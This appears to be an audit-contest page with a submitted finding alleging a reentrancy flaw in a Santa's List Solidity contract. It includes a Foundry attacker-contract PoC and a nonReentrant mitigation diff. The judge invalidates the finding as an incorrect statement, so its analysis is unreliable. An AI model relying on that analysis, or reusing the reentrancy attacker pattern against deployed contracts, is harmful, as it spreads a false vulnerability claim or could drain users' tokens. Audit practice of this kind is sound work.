Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy in `SantasList::collectPresent()` enables unlimited free presents via `buyPresent()`

[H-04] Reentrancy in SantasList::collectPresent() enables unlimited free presents via buyPresent()

Description:

collectPresent() violates the checks-effects-interactions pattern for EXTRA_NICE collectors. It calls _mintAndIncrement() — which uses OpenZeppelin's _safeMint, an external interaction that invokes onERC721Received on the recipient if it is a contract — before it mints the caller's SantaToken reward. Because neither collectPresent() nor buyPresent() carries a reentrancy guard, and because buyPresent() can already be called by anyone against any token holder with no consent ([H-03]), an attacker contract can use the onERC721Received callback fired mid-collectPresent() to reenter buyPresent() and mint itself additional presents by burning other users' SantaToken balances — all before its own original collectPresent() call has even finished.

Risk Analysis:

  • Impact: High — compounds directly with [H-03] to allow repeated, uninterrupted draining and minting within a single transaction.

  • Likelihood: Medium — requires the attacker to deploy a contract implementing onERC721Received and to already hold NICE/EXTRA_NICE status, but no other privilege or special protocol state is needed.

Proof of Concept:

Foundry test function to prove the vulnerability.

contract ReentrantAttacker {
SantasList public immutable target;
SantaToken public immutable token;
address public victim;
constructor(SantasList _target, address _victim) {
target = _target;
token = SantaToken(_target.getSantaToken());
victim = _victim;
}
function attack() external {
target.collectPresent();
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
// Reenter mid-collectPresent(), before this call has returned,
// exploiting the unprotected buyPresent() from [H-03].
if (token.balanceOf(victim) >= 1e18) {
target.buyPresent(victim);
}
return this.onERC721Received.selector;
}
}

(Called after warping past CHRISTMAS_2023_BLOCK_TIME, with the attacker contract already checked as NICE/EXTRA_NICE and victim pre-funded with SantaToken.)

Recommended Mitigation:

Add a reentrancy guard to both externally-reachable, state-changing entry points.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract SantasList is ERC721, TokenUri {
+ contract SantasList is ERC721, TokenUri, ReentrancyGuard {
- function collectPresent() external {
+ function collectPresent() external nonReentrant {
- function buyPresent(address presentReceiver) external {
+ function buyPresent(address presentReceiver) external nonReentrant {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 14 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!